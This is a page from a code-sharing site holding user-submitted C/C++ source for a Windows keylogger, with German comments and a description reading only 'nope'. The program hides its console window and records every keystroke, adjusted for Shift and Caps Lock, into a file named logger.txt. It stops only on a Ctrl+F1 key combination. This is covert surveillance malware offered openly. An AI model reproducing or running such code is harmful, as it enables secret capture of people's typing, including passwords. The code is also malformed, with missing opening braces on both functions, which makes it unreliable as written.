Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  nope
Language: C/C++
Code:
#include <windows.h> 
#include <Winuser.h> 
#include <string.h> 
#include <fstream> 
#include <stdio.h>
#include <direct.h>
#define GetCurrentDir _getcwd




//Testet ob ein Key abgefragt wurde 
std::string GetKey(int Key) 

        std::string KeyString = "";
        if (  (Key > 64 && Key < 91) ) {    
        
            if (GetAsyncKeyState(VK_SHIFT) || GetAsyncKeyState(VK_CAPITAL)) {
                Key = Key;    
            }
            else {
                Key = Key + 32;    
            }
            KeyString = Key;    
        }
        
        if (Key > 47 && Key < 58 ) {
            if (GetAsyncKeyState(VK_SHIFT) || GetAsyncKeyState(VK_CAPITAL)) {
                switch (Key)
                    {
                        case 49: Key = 33;break;
                        case 50: Key = 34;break;
                        case 51: Key = 167;break;
                        case 52: Key = 36;break;
                        case 53: Key = 37;break;
                        case 54: Key = 38;break;
                        case 55: Key = 47;break;
                        case 56: Key = 40;break;
                        case 57: Key = 41;break;
                        case 48: Key = 61;break;
                    }
            }
            KeyString = Key;
            
        }
        
        if (Key == 46) {
            KeyString = "[entf]";
        }
        if (Key == 8){ 
            KeyString = "[delete]"; 
        } 
        if (Key == 13){ 
            KeyString = "n"; 
        } 
         if (Key == 32){ 
            KeyString = " "; 
        } 
    return KeyString; 


int main() 

    std::string Filename = "logger.txt"; //Datei, wo die Eingabe abgespeichert wird
    std::string TempString = ""; 
    std::fstream FStream; 
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
    //setzt das Programm immer in den Vordergrund und ist unsichtbar auf dem Monitor
    HWND stealth;
    stealth=FindWindowA("ConsoleWindowClass",NULL); 
    ShowWindow(stealth,0);

    while(true) 
    { 
        //Verhindert CPU Auslastung 5ms sleep 
        Sleep(5); 

        for(int i = 8; i < 191; i++) 
        { 
           if(GetAsyncKeyState(i)&1 ==1) 
           { 
                TempString = GetKey (i); 
                FStream.write(TempString.c_str(), TempString.size()); 
                FStream.close(); 
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
           } 
        }
        if (GetAsyncKeyState(VK_LCONTROL) && GetAsyncKeyState(VK_F1)) break; 
    } 
    return 0;
}
          
          
Comments: